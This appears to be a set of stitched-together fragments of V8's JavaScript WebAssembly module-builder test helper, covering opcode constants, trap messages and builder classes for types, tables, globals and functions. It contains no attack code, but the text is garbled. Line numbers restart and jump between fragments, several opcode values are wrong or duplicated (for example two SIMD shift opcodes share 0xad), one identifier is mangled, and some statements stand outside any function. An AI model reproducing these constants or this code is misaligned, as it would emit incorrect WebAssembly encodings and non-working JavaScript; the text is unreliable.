593.    let kExprI32AtomicAdd = 0x1e;
594.    let kExprI32AtomicAdd8U = 0x20;
595.    let kExprI32AtomicAdd16U = 0x21;
596.    let kExprI32AtomicSub = 0x25;
597.    let kExprI32AtomicSub8U = 0x27;
598.    let kExprI32AtomicSub16U = 0x28;
599.    let kExprI32AtomicAnd = 0x2c;
600.    let kExprI32AtomicAnd8U = 0x2e;
601.    let kExprI32AtomicAnd16U = 0x2f;
602.    let kExprI32AtomicOr = 0x33;
603.    let kExprI32AtomicOr8U = 0x35;
604.    let kExprI32AtomicOr16U = 0x36;
605.    let kExprI32AtomicXor = 0x3a;
606.    let kExprI32AtomicXor8U = 0x3c;
607.    let kExprI32AtomicXor16U = 0x3d;
608.    let kExprI32AtomicExchange = 0x41;
609.    let kExprI32AtomicExchange8U = 0x43;
610.    let kExprI32AtomicExchange16U = 0x44;
611.    let kExprI32AtomicCompareExchange = 0x48;
612.    let kExprI32AtomicCompareExchange8U = 0x4a;
613.    let kExprI32AtomicCompareExchange16U = 0x4b;
614.    let kExprI64AtomicLoad = 0x11;
615.    let kExprI64AtomicLoad8U = 0x14;
616.    let kExprI64AtomicLoad16U = 0x15;
617.    let kExprI64AtomicLoad32U = 0x16;
618.    let kExprI64AtomicStore = 0x18;
619.    let kExprI64AtomicStore8U = 0x1b;
620.    let kExprI64AtomicStore16U = 0x1c;

```




```

60.      let kExprI64AtomicSub = 0x20;
61.      let kExprI64AtomicSub8U = 0x29;
62.      let kExprI64AtomicSub16U = 0x2a;
63.      let kExprI64AtomicSub32U = 0x2b;
64.      let kExprI64AtomicAnd = 0x2d;
65.      let kExprI64AtomicAnd8U = 0x30;
66.      let kExprI64AtomicAnd16U = 0x31;
67.      let kExprI64AtomicAnd32U = 0x32;
68.      let kExprI64AtomicOr = 0x34;
69.      let kExprI64AtomicOr8U = 0x37;
70.      let kExprI64AtomicOr16U = 0x38;
71.      let kExprI64AtomicOr32U = 0x39;
72.      let kExprI64AtomicXor = 0x3b;
73.      let kExprI64AtomicXor8U = 0x3e;
74.      let kExprI64AtomicXor16U = 0x3f;
75.      let kExprI64AtomicXor32U = 0x40;
76.      let kExprI64AtomicExchange = 0x42;
77.      let kExprI64AtomicExchange8U = 0x45;
78.      let kExprI64AtomicExchange16U = 0x46;
79.      let kExprI64AtomicExchange32U = 0x47;
80.      let kExprI64AtomicCompareExchange = 0x49;
81.      let kExprI64AtomicCompareExchange8U = 0x4c;
82.      let kExprI64AtomicCompareExchange16U = 0x4d;
83.      let kExprI64AtomicCompareExchange32U = 0x4e;
84.      // Simd opcodes.
85.      let kExprS128LoadMem = 0x00;
86.      let kExprS128Load8x8S = 0x01;
87.      let kExprS128Load8x8U = 0x02;
88.      let kExprS128Load16x4S = 0x03;
89.      let kExprS128Load16x4U = 0x04;
90.      let kExprS128Load32x2S = 0x05;
91.      let kExprS128Load32x2U = 0x06;
92.      let kExprS128Load8Splat = 0x07;
93.      let kExprS128Load16Splat = 0x08;
94.      let kExprS128Load32Splat = 0x09;
95.      let kExprS128Load64Splat = 0x0a;
96.      let kExprS128StoreMem = 0x0b;
97.      let kExprS128Const = 0x0c;
98.      let kExprI8x16Shuffle = 0x0d;
99.      let kExprI8x16Swizzle = 0x0e;
100.     let kExprI8x16Splat = 0x0f;
101.     let kExprI16x8Splat = 0x10;
102.     let kExprI32x4Splat = 0x11;
103.     let kExprI64x2Splat = 0x12;
104.     let kExprF32x4Splat = 0x13;
105.     let kExprF64x2Splat = 0x14;
106.     let kExprI8x16ExtractLaneS = 0x15;
107.     let kExprI8x16ExtractLaneU = 0x16;
108.     let kExprI8x16ReplaceLane = 0x17;
109.     let kExprI16x8ExtractLaneS = 0x18;
110.     let kExprI16x8ExtractLaneU = 0x19;
111.     let kExprI16x8ReplaceLane = 0x1a;
112.     let kExprI32x4ExtractLane = 0x1b;
113.     let kExprI32x4ReplaceLane = 0x1c;
114.     let kExprI64x2ExtractLane = 0x1d;
115.     let kExprI64x2ReplaceLane = 0x1e;
116.     let kExprF32x4ExtractLane = 0x1f;
117.     let kExprF32x4ReplaceLane = 0x20;
118.     let kExprF64x2ExtractLane = 0x21;

```



```

690.      let kExprI8x16GtS = 0x27;
691.      let kExprI8x16GtU = 0x28;
692.      let kExprI8x16LeS = 0x29;
693.      let kExprI8x16LeU = 0x2a;
694.      let kExprI8x16GeS = 0x2b;
695.      let kExprI8x16GeU = 0x2c;
696.      let kExprI16x8Eq = 0x2d;
697.      let kExprI16x8Ne = 0x2e;
698.      let kExprI16x8LtS = 0x2f;
699.      let kExprI16x8LtU = 0x30;
700.      let kExprI16x8GtS = 0x31;
701.      let kExprI16x8GtU = 0x32;
702.      let kExprI16x8LeS = 0x33;
703.      let kExprI16x8LeU = 0x34;
704.      let kExprI16x8GeS = 0x35;
705.      let kExprI16x8GeU = 0x36;
706.      let kExprI32x4Eq = 0x37;
707.      let kExprI32x4Ne = 0x38;
708.      let kExprI32x4LtS = 0x39;
709.      let kExprI32x4LtU = 0x3a;
710.      let kExprI32x4GtS = 0x3b;
711.      let kExprI32x4GtU = 0x3c;
712.      let kExprI32x4LeS = 0x3d;
713.      let kExprI32x4LeU = 0x3e;
714.      let kExprI32x4GeS = 0x3f;
715.      let kExprI32x4GeU = 0x40;
716.      let kExprF32x4Eq = 0x41;
717.      let kExprF32x4Ne = 0x42;
718.      let kExprF32x4Lt = 0x43;
719.      let kExprF32x4Gt = 0x44;
720.      let kExprF32x4Le = 0x45;
721.      let kExprF32x4Ge = 0x46;
722.      let kExprF64x2Eq = 0x47;
723.      let kExprF64x2Ne = 0x48;
724.      let kExprF64x2Lt = 0x49;
725.      let kExprF64x2Gt = 0x4a;
726.      let kExprF64x2Le = 0x4b;
727.      let kExprF64x2Ge = 0x4c;
728.      let kExprS128Not = 0x4d;
729.      let kExprS128And = 0x4e;
730.      let kExprS128AndNot = 0x4f;
731.      let kExprS128Or = 0x50;
732.      let kExprS128Xor = 0x51;
733.      let kExprS128Select = 0x52;
734.      let kExprV128AnyTrue = 0x53;
735.      let kExprS128Load8Lane = 0x54;
736.      let kExprS128Load16Lane = 0x55;
737.      let kExprS128Load32Lane = 0x56;
738.      let kExprS128Load64Lane = 0x57;
739.      let kExprS128Store8Lane = 0x58;
740.      let kExprS128Store16Lane = 0x59;
741.      let kExprS128Store32Lane = 0x5a;
742.      let kExprS128Store64Lane = 0x5b;
743.      let kExprS128Load32Zero = 0x5c;
744.      let kExprS128Load64Zero = 0x5d;
745.      let kExprF32x4DemoteF64x2Zero = 0x5e;
746.      let kExprF64x2PromoteLowF32x4 = 0x5f;
747.      let kExprI8x16Abs = 0x60;
748.      let kExprI8x16Neg = 0x61;

```



```

4.      let kExprF32x4Ceil = 0x01;
755.    let kExprF32x4Floor = 0x68;
756.    let kExprF32x4Trunc = 0x69;
757.    let kExprF32x4NearestInt = 0x6a;
758.    let kExprI8x16Shl = 0x6b;
759.    let kExprI8x16ShrS = 0x6c;
760.    let kExprI8x16ShrU = 0x6d;
761.    let kExprI8x16Add = 0x6e;
762.    let kExprI8x16AddSatS = 0x6f;
763.    let kExprI8x16AddSatU = 0x70;
764.    let kExprI8x16Sub = 0x71;
765.    let kExprI8x16SubSatS = 0x72;
766.    let kExprI8x16SubSatU = 0x73;
767.    let kExprF64x2Ceil = 0x74;
768.    let kExprF64x2Floor = 0x75;
769.    let kExprI8x16MinS = 0x76;
770.    let kExprI8x16MinU = 0x77;
771.    let kExprI8x16MaxS = 0x78;
772.    let kExprI8x16MaxU = 0x79;
773.    let kExprF64x2Trunc = 0x7a;
774.    let kExprI8x16RoundingAverageU = 0x7b;
775.    let kExprI16x8ExtAddPairwiseI8x16S = 0x7c;
776.    let kExprI16x8ExtAddPairwiseI8x16U = 0x7d;
777.    let kExprI32x4ExtAddPairwiseI16x8S = 0x7e;
778.    let kExprI32x4ExtAddPairwiseI16x8U = 0x7f;
779.    let kExprI16x8Abs = 0x80;
780.    let kExprI16x8Neg = 0x81;
781.    let kExprI16x8Q15MulRSats = 0x82;
782.    let kExprI16x8AllTrue = 0x83;
783.    let kExprI16x8BitMask = 0x84;
784.    let kExprI16x8SConvertI32x4 = 0x85;
785.    let kExprI16x8UConvertI32x4 = 0x86;
786.    let kExprI16x8SConvertI8x16Low = 0x87;
787.    let kExprI16x8SConvertI8x16High = 0x88;
788.    let kExprI16x8UConvertI8x16Low = 0x89;
789.    let kExprI16x8UConvertI8x16High = 0x8a;
790.    let kExprI16x8Shl = 0x8b;
791.    let kExprI16x8ShrS = 0x8c;
792.    let kExprI16x8ShrU = 0x8d;
793.    let kExprI16x8Add = 0x8e;
794.    let kExprI16x8AddSatS = 0x8f;
795.    let kExprI16x8AddSatU = 0x90;
796.    let kExprI16x8Sub = 0x91;
797.    let kExprI16x8SubSatS = 0x92;
798.    let kExprI16x8SubSatU = 0x93;
799.    let kExprF64x2NearestInt = 0x94;
800.    let kExprI16x8Mul = 0x95;
801.    let kExprI16x8MinS = 0x96;
802.    let kExprI16x8MinU = 0x97;
803.    let kExprI16x8MaxS = 0x98;
804.    let kExprI16x8MaxU = 0x99;
805.    let kExprI16x8RoundingAverageU = 0x9b;
806.    let kExprI16x8ExtMulLowI8x16S = 0x9c;
807.    let kExprI16x8ExtMulHighI8x16S = 0x9d;
808.    let kExprI16x8ExtMulLowI8x16U = 0x9e;
809.    let kExprI16x8ExtMulHighI8x16U = 0x9f;
810.    let kExprI32x4Abs = 0xa0;
811.    let kExprI32x4Neg = 0xa1;
812.    let kExprI32x4AllTrue = 0xa3;

```



```

80.      let kExprI32x4Shl = 0xad;
81.      let kExprI32x4ShrS = 0xac;
82.      let kExprI32x4ShrU = 0xad;
83.      let kExprI32x4Add = 0xae;
84.      let kExprI32x4Sub = 0xb1;
85.      let kExprI32x4Mul = 0xb5;
86.      let kExprI32x4MinS = 0xb6;
87.      let kExprI32x4MinU = 0xb7;
88.      let kExprI32x4MaxS = 0xb8;
89.      let kExprI32x4MaxU = 0xb9;
90.      let kExprI32x4DotI16x8S = 0xba;
91.      let kExprI32x4ExtMulLowI16x8S = 0xbc;
92.      let kExprI32x4ExtMulHighI16x8S = 0xbd;
93.      let kExprI32x4ExtMulLowI16x8U = 0xbe;
94.      let kExprI32x4ExtMulHighI16x8U = 0xbf;
95.      let kExprI64x2Abs = 0xc0;
96.      let kExprI64x2Neg = 0xc1;
97.      let kExprI64x2AllTrue = 0xc3;
98.      let kExprI64x2BitMask = 0xc4;
99.      let kExprI64x2SConvertI32x4Low = 0xc7;
100.     let kExprI64x2SConvertI32x4High = 0xc8;
101.     let kExprI64x2UConvertI32x4Low = 0xc9;
102.     let kExprI64x2UConvertI32x4High = 0xca;
103.     let kExprI64x2Shl = 0xcb;
104.     let kExprI64x2ShrS = 0xcc;
105.     let kExprI64x2ShrU = 0xcd;
106.     let kExprI64x2Add = 0xce;
107.     let kExprI64x2Sub = 0xd1;
108.     let kExprI64x2Mul = 0xd5;
109.     let kExprI64x2Eq = 0xd6;
110.     let kExprI64x2Ne = 0xd7;
111.     let kExprI64x2LtS = 0xd8;
112.     let kExprI64x2GtS = 0xd9;
113.     let kExprI64x2LeS = 0xda;
114.     let kExprI64x2GeS = 0xdb;
115.     let kExprI64x2ExtMulLowI32x4S = 0xdc;
116.     let kExprI64x2ExtMulHighI32x4S = 0xdd;
117.     let kExprI64x2ExtMulLowI32x4U = 0xde;
118.     let kExprI64x2ExtMulHighI32x4U = 0xdf;
119.     let kExprF32x4Abs = 0xe0;
120.     let kExprF32x4Neg = 0xe1;
121.     let kExprF32x4Sqrt = 0xe3;
122.     let kExprF32x4Add = 0xe4;
123.     let kExprF32x4Sub = 0xe5;
124.     let kExprF32x4Mul = 0xe6;
125.     let kExprF32x4Div = 0xe7;
126.     let kExprF32x4Min = 0xe8;
127.     let kExprF32x4Max = 0xe9;
128.     let kExprF32x4Pmin = 0xea;
129.     let kExprF32x4Pmax = 0xeb;
130.     let kExprF64x2Abs = 0xec;
131.     let kExprF64x2Neg = 0xed;
132.     let kExprF64x2Sqrt = 0xef;
133.     let kExprF64x2Add = 0xf0;
134.     let kExprF64x2Sub = 0xf1;
135.     let kExprF64x2Mul = 0xf2;
136.     let kExprF64x2Div = 0xf3;
137.     let kExprF64x2Min = 0xf4;
138.     let kExprF64x2Max = 0xf5;

```



```

2.      let kExprF32x4UConvertU132x4 = 0x1d;
883.     let kExprI32x4TruncSatF64x2SZero = 0xfc;
884.     let kExprI32x4TruncSatF64x2UZero = 0xfd;
885.     let kExprF64x2ConvertLowI32x4S = 0xfe;
886.     let kExprF64x2ConvertLowI32x4U = 0xff;
887.     // Relaxed SIMD.
888.     let kExprI8x16RelaxedSwizzle = wasmSignedLeb(0x100);
889.     let kExprI32x4RelaxedTruncF32x4S = wasmSignedLeb(0x101);
890.     let kExprI32x4RelaxedTruncF32x4U = wasmSignedLeb(0x102);
891.     let kExprI32x4RelaxedTruncF64x2SZero = wasmSignedLeb(0x103);
892.     let kExprI32x4RelaxedTruncF64x2UZero = wasmSignedLeb(0x104);
893.     let kExprF32x4Qfma = wasmSignedLeb(0x105);
894.     let kExprF32x4Qfms = wasmSignedLeb(0x106);
895.     let kExprF64x2Qfma = wasmSignedLeb(0x107);
896.     let kExprF64x2Qfms = wasmSignedLeb(0x108);
897.     let kExprI8x16RelaxedLaneSelect = wasmSignedLeb(0x109);
898.     let kExprI16x8RelaxedLaneSelect = wasmSignedLeb(0x10a);
899.     let kExprI32x4RelaxedLaneSelect = wasmSignedLeb(0x10b);
900.     let kExprI64x2RelaxedLaneSelect = wasmSignedLeb(0x10c);
901.     let kExprF32x4RelaxedMin = wasmSignedLeb(0x10d);
902.     let kExprF32x4RelaxedMax = wasmSignedLeb(0x10e);
903.     let kExprF64x2RelaxedMin = wasmSignedLeb(0x10f);
904.     let kExprF64x2RelaxedMax = wasmSignedLeb(0x110);
905.     let kExprI16x8RelaxedQ15MulRS = wasmSignedLeb(0x111);
906.     let kExprI16x8DotI8x16I7x16S = wasmSignedLeb(0x112);
907.     let kExprI32x4DotI8x16I7x16AddS = wasmSignedLeb(0x113);
908.     // Compilation hint constants.
909.     let kCompilationHintStrategyDefault = 0x00;
910.     let kCompilationHintStrategyLazy = 0x01;
911.     let kCompilationHintStrategyEager = 0x02;
912.     let kCompilationHintStrategyLazyBaselineEagerTopTier = 0x03;
913.     let kCompilationHintTierDefault = 0x00;
914.     let kCompilationHintTierBaseline = 0x01;
915.     let kCompilationHintTierOptimized = 0x02;
916.     let kTrapUnreachable = 0;
917.     let kTrapMemOutOfBounds = 1;
918.     let kTrapDivByZero = 2;
919.     let kTrapDivUnrepresentable = 3;
920.     let kTrapRemByZero = 4;
921.     let kTrapFloatUnrepresentable = 5;
922.     let kTrapTableOutOfBounds = 6;
923.     let kTrapFuncSigMismatch = 7;
924.     let kTrapUnalignedAccess = 8;
925.     let kTrapDataSegmentOutOfBounds = 9;
926.     let kTrapElementSegmentOutOfBounds = 10;
927.     let kTrapRethrowNull = 11;
928.     let kTrapArrayTooLarge = 12;
929.     let kTrapArrayOutOfBounds = 13;
930.     let kTrapNullDereference = 14;
931.     let kTrapIllegalCast = 15;
932.     let kAtomicWaitOk = 0;
933.     let kAtomicWaitNotEqual = 1;
934.     let kAtomicWaitTimedOut = 2;
935.     // Exception handling with exnref.
936.     let kCatchNoRef = 0x0;
937.     let kCatchRef = 0x1;
938.     let kCatchAllNoRef = 0x2;
939.     let kCatchAllRef = 0x3;
940.     let kTrapMsgs = [

```



```

947.         'float unrepresentable in integer range',          // --
948.         'table index is out of bounds',                     // --
949.         'null function or function signature mismatch',     // --
950.         'operation does not support unaligned accesses',    // --
951.         'data segment out of bounds',                       // --
952.         'element segment out of bounds',                    // --
953.         'rethrowing null value',                             // --
954.         'requested new array is too large',                  // --
955.         'array element access out of bounds',                // --
956.         'dereferencing a null pointer',                      // --
957.         'illegal cast',                                      // --
958.     ];
959.     // This requires test/mjsunit/mjsunit.js.
960.     function assertTraps(trap, code) {
961.         assertThrows(code, WebAssembly.RuntimeError, new RegExp(kTrapMsgs[trap]));
962.     }
963.     function assertTrapsOneOf(traps, code) {
964.         const errorChecker = new RegExp(
965.             '(' + traps.map(trap => kTrapMsgs[trap]).join('|') + ')'
966.         );
967.         assertThrows(code, WebAssembly.RuntimeError, errorChecker);
968.     }
969.     class Binary {
970.     constructor() {
971.         this.length = 0;
972.         this.buffer = new Uint8Array(8192);
973.     }
974.     ensure_space(needed) {
975.         if (this.buffer.length - this.length >= needed) return;
976.         let new_capacity = this.buffer.length * 2;
977.         while (new_capacity - this.length < needed) new_capacity *= 2;
978.         let new_buffer = new Uint8Array(new_capacity);
979.         new_buffer.set(this.buffer);
980.         this.buffer = new_buffer;
981.     }
982.     trunc_buffer() {
983.         return new Uint8Array(this.buffer.buffer, 0, this.length);
984.     }
985.     reset() {
986.         this.length = 0;
987.     }
988.     emit_u8(val) {
989.         this.ensure_space(1);
990.         this.buffer[this.length++] = val;
991.     }
992.     emit_u16(val) {
993.         this.ensure_space(2);
994.         this.buffer[this.length++] = val;
995.         this.buffer[this.length++] = val >> 8;
996.     }
997.     emit_u32(val) {
998.         this.ensure_space(4);
999.         this.buffer[this.length++] = val;
1000.        this.buffer[this.length++] = val >> 8;
1001.        this.buffer[this.length++] = val >> 16;
1002.        this.buffer[this.length++] = val >> 24;
1003.    }
1004.    emit_leb_u(val, max_len) {
1005.        this.ensure_space(max_len);

```



```

1011.         return;
1012.     }
1013.     this.buffer[this.length++] = v | 0x80;
1014. }
1015. throw new Error('Leb value exceeds maximum length of ' + max_len);
1016. emit_u32v(val) {
1017.     this.emit_leb_u(val, kMaxVarInt32Size);
1018. }
1019. emit_u64v(val) {
1020.     this.emit_leb_u(val, kMaxVarInt64Size);
1021. }
1022. emit_bytes(data) {
1023.     this.ensure_space(data.length);
1024.     this.buffer.set(data, this.length);
1025.     this.length += data.length;
1026. }
1027. emit_string(string) {
1028.     // When testing illegal names, we pass a byte array directly.
1029.     if (string instanceof Array) {
1030.         this.emit_u32v(string.length);
1031.         this.emit_bytes(string);
1032.         return;
1033.     }
1034.     // This is the hacky way to convert a JavaScript string to a UTF8 encoded
1035.     // string only containing single-byte characters.
1036.     let string_utf8 = unescape(encodeURIComponent(string));
1037.     this.emit_u32v(string_utf8.length);
1038.     for (let i = 0; i < string_utf8.length; i++) {
1039.         this.emit_u8(string_utf8.charCodeAt(i));
1040.     }
1041. }
1042. emit_heap_type(heap_type) {
1043.     this.emit_bytes(wasmSignedLeb(heap_type, kMaxVarInt32Size));
1044. }
1045. emit_type(type) {
1046.     if ((typeof type) == 'number') {
1047.         this.emit_u8(type >= 0 ? type : type & kLeb128Mask);
1048.     } else {
1049.         this.emit_u8(type.opcode);
1050.         if (type.is_shared) this.emit_u8(kWasmSharedTypeForm);
1051.         this.emit_heap_type(type.heap_type);
1052.     }
1053. }
1054. emit_init_expr(expr) {
1055.     this.emit_bytes(expr);
1056.     this.emit_u8(kExprEnd);
1057. }
1058. emit_header() {
1059.     this.emit_bytes([
1060.         kWasmH0, kWasmH1, kWasmH2, kWasmH3, kWasmV0, kWasmV1, kWasmV2, kWasmV3
1061.     ]);
1062. }
1063. emit_section(section_code, content_generator) {
1064.     // Emit section name.
1065.     this.emit_u8(section_code);
1066.     // Emit the section to a temporary buffer: its full length isn't know yet.
1067.     const section = new Binary;
1068.     content_generator(section);

```



```

4.      }
1075.    }
1076.    class WasmFunctionBuilder {
1077.        // Encoding of local names: a string corresponds to a local name,
1078.        // a number n corresponds to n undefined names.
1079.        constructor(module, name, type_index, arg_names) {
1080.            this.module = module;
1081.            this.name = name;
1082.            this.type_index = type_index;
1083.            this.body = [];
1084.            this.locals = [];
1085.            this.local_names = arg_names;
1086.            this.body_offset = undefined; // Not valid until module is serialized.
1087.        }
1088.        numLocalNames() {
1089.            let num_local_names = 0;
1090.            for (let loc_name of this.local_names) {
1091.                if (typeof loc_name == 'string') ++num_local_names;
1092.            }
1093.            return num_local_names;
1094.        }
1095.        exportAs(name) {
1096.            this.module.addExport(name, this.index);
1097.            return this;
1098.        }
1099.        exportFunc() {
1100.            this.exportAs(this.name);
1101.            return this;
1102.        }
1103.        setCompilationHint(strategy, baselineTier, topTier) {
1104.            this.module.setCompilationHint(strategy, baselineTier, topTier, this.index);
1105.            return this;
1106.        }
1107.        addBody(body) {
1108.            checkExpr(body);
1109.            // Store a copy of the body, and automatically add the end opcode.
1110.            this.body = body.concat([kExprEnd]);
1111.            return this;
1112.        }
1113.        addBodyWithEnd(body) {
1114.            this.body = body;
1115.            return this;
1116.        }
1117.        getNumLocals() {
1118.            let total_locals = 0;
1119.            for (let l of this.locals) {
1120.                total_locals += l.count
1121.            }
1122.            return total_locals;
1123.        }
1124.        addLocals(type, count, names) {
1125.            this.locals.push({ type: type, count: count });
1126.            names = names || [];
1127.            if (names.length > count) throw new Error('too many locals names given');
1128.            this.local_names.push(...names);
1129.            if (count > names.length) this.local_names.push(count - names.length);
1130.            return this;
1131.        }
1132.        end() {

```




```

1138.         this.module = module;
1139.         this.type = type;
1140.         this.mutable = mutable;
1141.         this.shared = shared;
1142.         this.init = init;
1143.     }
1144.     exportAs(name) {
1145.         this.module.exports.push(
1146.             { name: name, kind: kExternalGlobal, index: this.index });
1147.         return this;
1148.     }
1149. }
1150. function checkExpr(expr) {
1151.     for (let b of expr) {
1152.         if (typeof b !== 'number' || (b & (~0xFF)) !== 0) {
1153.             throw new Error(
1154.                 'invalid body (entries must be 8 bit numbers): ' + expr);
1155.         }
1156.     }
1157. }
1158. class WasmTableBuilder {
1159.     constructor(module, type, initial_size, max_size, init_expr, is_shared, is_ta
1160.         // TODO(manoskouk): Add the table index.
1161.         this.module = module;
1162.         this.type = type;
1163.         this.initial_size = initial_size;
1164.         this.has_max = max_size !== undefined;
1165.         this.max_size = max_size;
1166.         this.init_expr = init_expr;
1167.         this.has_init = init_expr !== undefined;
1168.         this.is_shared = is_shared;
1169.         this.is_table64 = is_table64;
1170.     }
1171.     exportAs(name) {
1172.         this.module.exports.push(
1173.             { name: name, kind: kExternalTable, index: this.index });
1174.         return this;
1175.     }
1176. }
1177. function makeField(type, mutability) {
1178.     if ((typeof mutability) !== 'boolean') {
1179.         throw new Error('field mutability must be boolean');
1180.     }
1181.     return { type: type, mutability: mutability };
1182. }
1183. class WasmStruct {
1184.     constructor(fields, is_final, is_shared, supertype_idx) {
1185.         if (!Array.isArray(fields)) {
1186.             throw new Error('struct fields must be an array');
1187.         }
1188.         this.fields = fields;
1189.         this.type_form = kWasmStructTypeForm;
1190.         this.is_final = is_final;
1191.         this.is_shared = is_shared;
1192.         this.supertype = supertype_idx;
1193.     }
1194. }
1195. class WasmArray {
1196.     constructor(type, mutability, is_final, is_shared, supertype_idx) {

```



```

1202.         this.supertype = supertype_idx;
1203.     }
1204. }
1205. class WasmElemSegment {
1206.     constructor(table, offset, type, elements, is_decl, is_shared) {
1207.         this.table = table;
1208.         this.offset = offset;
1209.         this.type = type;
1210.         this.elements = elements;
1211.         this.is_decl = is_decl;
1212.         this.is_shared = is_shared;
1213.         // Invariant checks.
1214.         if ((table === undefined) != (offset === undefined)) {
1215.             throw new Error("invalid element segment");
1216.         }
1217.         for (let elem of elements) {
1218.             if ((typeof elem) == 'number') != (type === undefined)) {
1219.                 throw new Error("invalid element");
1220.             }
1221.         }
1222.     }
1223.     is_active() {
1224.         return this.table !== undefined;
1225.     }
1226.     is_passive() {
1227.         return this.table === undefined && !this.is_decl;
1228.     }
1229.     is_declarative() {
1230.         return this.table === undefined && this.is_decl;
1231.     }
1232.     expressions_as_elements() {
1233.         return this.type !== undefined;
1234.     }
1235. }
1236. class WasmModuleBuilder {
1237.     constructor() {
1238.         this.types = [];
1239.         this.imports = [];
1240.         this.exports = [];
1241.         this.stringrefs = [];
1242.         this.globals = [];
1243.         this.tables = [];
1244.         this.tags = [];
1245.         this.memories = [];
1246.         this.functions = [];
1247.         this.compilation_hints = [];
1248.         this.element_segments = [];
1249.         this.data_segments = [];
1250.         this.explicit = [];
1251.         this.rec_groups = [];
1252.         this.num_imported_funcs = 0;
1253.         this.num_imported_globals = 0;
1254.         this.num_imported_tables = 0;
1255.         this.num_imported_tags = 0;
1256.         return this;
1257.     }
1258.     addStart(start_index) {
1259.         this.start_index = start_index;
1260.         return this;

```



```

1267.         this.imports.filter(i => i.kind == kExternalMemory).length;
1268.     const mem_index = imported_memories + this.memories.length;
1269.     this.memories.push(
1270.         { min: min, max: max, shared: shared || false, is_memory64: false });
1271.     return mem_index;
1272. }
1273. addMemory64(min, max, shared) {
1274.     // Note: All imported memories are added before declared ones (see the check
1275.     // in {addImportedMemory}).
1276.     const imported_memories =
1277.         this.imports.filter(i => i.kind == kExternalMemory).length;
1278.     const mem_index = imported_memories + this.memories.length;
1279.     this.memories.push(
1280.         { min: min, max: max, shared: shared || false, is_memory64: true });
1281.     return mem_index;
1282. }
1283. addExplicitSection(bytes) {
1284.     this.explicit.push(bytes);
1285.     return this;
1286. }
1287. stringToBytes(name) {
1288.     var result = new Binary();
1289.     result.emit_u32v(name.length);
1290.     for (var i = 0; i < name.length; i++) {
1291.         result.emit_u8(name.charCodeAt(i));
1292.     }
1293.     return result.trunc_buffer();
1294. }
1295. createCustomSection(name, bytes) {
1296.     name = this.stringToBytes(name);
1297.     var section = new Binary();
1298.     section.emit_u8(0);
1299.     section.emit_u32v(name.length + bytes.length);
1300.     section.emit_bytes(name);
1301.     section.emit_bytes(bytes);
1302.     return section.trunc_buffer();
1303. }
1304. addCustomSection(name, bytes) {
1305.     this.explicit.push(this.createCustomSection(name, bytes));
1306. }
1307. // We use {is_final = true} so that the MVP syntax is generated for
1308. // signatures.
1309. addType(type, supertype_idx = kNoSuperType, is_final = true, is_shared = false) {
1310.     var pl = type.params.length; // should have params
1311.     var rl = type.results.length; // should have results
1312.     var type_copy = {
1313.         params: type.params, results: type.results,
1314.         is_final: is_final, is_shared: is_shared, supertype: supertype_idx
1315.     };
1316.     this.types.push(type_copy);
1317.     return this.types.length - 1;
1318. }
1319. addLiteralStringRef(str) {
1320.     this.stringrefs.push(str);
1321.     return this.stringrefs.length - 1;
1322. }
1323. addStruct(fields, supertype_idx = kNoSuperType, is_final = false, is_shared =
1324.     this.types.push(new WasmStruct(fields, is_final, is_shared, supertype_idx))
1325.     return this.types.length - 1;

```



```

1330.
1331. nextTypeIndex() { return this.types.length; }
1332. static defaultFor(type) {
1333.     switch (type) {
1334.         case kWasmI32:
1335.             return wasmI32Const(0);
1336.         case kWasmI64:
1337.             return wasmI64Const(0);
1338.         case kWasmF32:
1339.             return wasmF32Const(0.0);
1340.         case kWasmF64:
1341.             return wasmF64Const(0.0);
1342.         case kWasmS128:
1343.             return [kSimdPrefix, kExprS128Const, ...(new Array(16).fill(0))];
1344.         case kWasmStringViewIter:
1345.         case kWasmStringViewWtf8:
1346.         case kWasmStringViewWtf16:
1347.             throw new Error("String views are non-defaultable");
1348.         default:
1349.             if ((typeof type) !== 'number' && type.opcode !== kWasmRefNull) {
1350.                 throw new Error("Non-defaultable type");
1351.             }
1352.             let heap_type = (typeof type) === 'number' ? type : type.heap_type;
1353.             return [kExprRefNull, ...wasmSignedLeb(heap_type, kMaxVarInt32Size)];
1354.     }
1355. }
1356. addGlobal(type, mutable, shared, init) {
1357.     if (init === undefined) init = WasmModuleBuilder.defaultFor(type);
1358.     checkExpr(init);
1359.     let glob = new WasmGlobalBuilder(this, type, mutable, shared, init);
1360.     glob.index = this.globals.length + this.num_imported_globals;
1361.     this.globals.push(glob);
1362.     return glob;
1363. }
1364. addTable(
1365.     type, initial_size, max_size = undefined, init_expr = undefined,
1366.     is_shared = false, is_table64 = false) {
1367.     if (type === kWasmI32 || type === kWasmI64 || type === kWasmF32 ||
1368.         type === kWasmF64 || type === kWasmS128 || type === kWasmVoid) {
1369.         throw new Error('Tables must be of a reference type');
1370.     }
1371.     if (init_expr !== undefined) checkExpr(init_expr);
1372.     let table = new WasmTableBuilder(
1373.         this, type, initial_size, max_size, init_expr, is_shared, is_table64);
1374.     table.index = this.tables.length + this.num_imported_tables;
1375.     this.tables.push(table);
1376.     return table;
1377. }
1378. addTable64(
1379.     type, initial_size, max_size = undefined, init_expr = undefined,
1380.     is_shared = false) {
1381.     return this.addTable(
1382.         type, initial_size, max_size, init_expr, is_shared, true);
1383. }
1384. addTag(type) {
1385.     let type_index = (typeof type) === 'number' ? type : this.addType(type);
1386.     let tag_index = this.tags.length + this.num_imported_tags;
1387.     this.tags.push(type_index);
1388.     return tag_index;

```



```

1394.         throw new Error('too many arg names provided');
1395.     if (num_args > arg_names.length)
1396.         arg_names.push(num_args - arg_names.length);
1397.     let func = new WasmFunctionBuilder(this, name, type_index, arg_names);
1398.     func.index = this.functions.length + this.num_imported_funcs;
1399.     this.functions.push(func);
1400.     return func;
1401. }
1402. addImport(module, name, type) {
1403.     if (this.functions.length !== 0) {
1404.         throw new Error('Imported functions must be declared before local ones');
1405.     }
1406.     let type_index = (typeof type) === 'number' ? type : this.addType(type);
1407.     this.imports.push({
1408.         module: module,
1409.         name: name,
1410.         kind: kExternalFunction,
1411.         type_index: type_index
1412.     });
1413.     return this.num_imported_funcs++;
1414. }
1415. addImportedGlobal(module, name, type, mutable = false, shared = false) {
1416.     if (this.globals.length !== 0) {
1417.         throw new Error('Imported globals must be declared before local ones');
1418.     }
1419.     let o = {
1420.         module: module,
1421.         name: name,
1422.         kind: kExternalGlobal,
1423.         type: type,
1424.         mutable: mutable,
1425.         shared: shared
1426.     };
1427.     this.imports.push(o);
1428.     return this.num_imported_globals++;
1429. }
1430. addImportedMemory(module, name, initial = 0, maximum, shared, is_memory64) {
1431.     if (this.memories.length !== 0) {
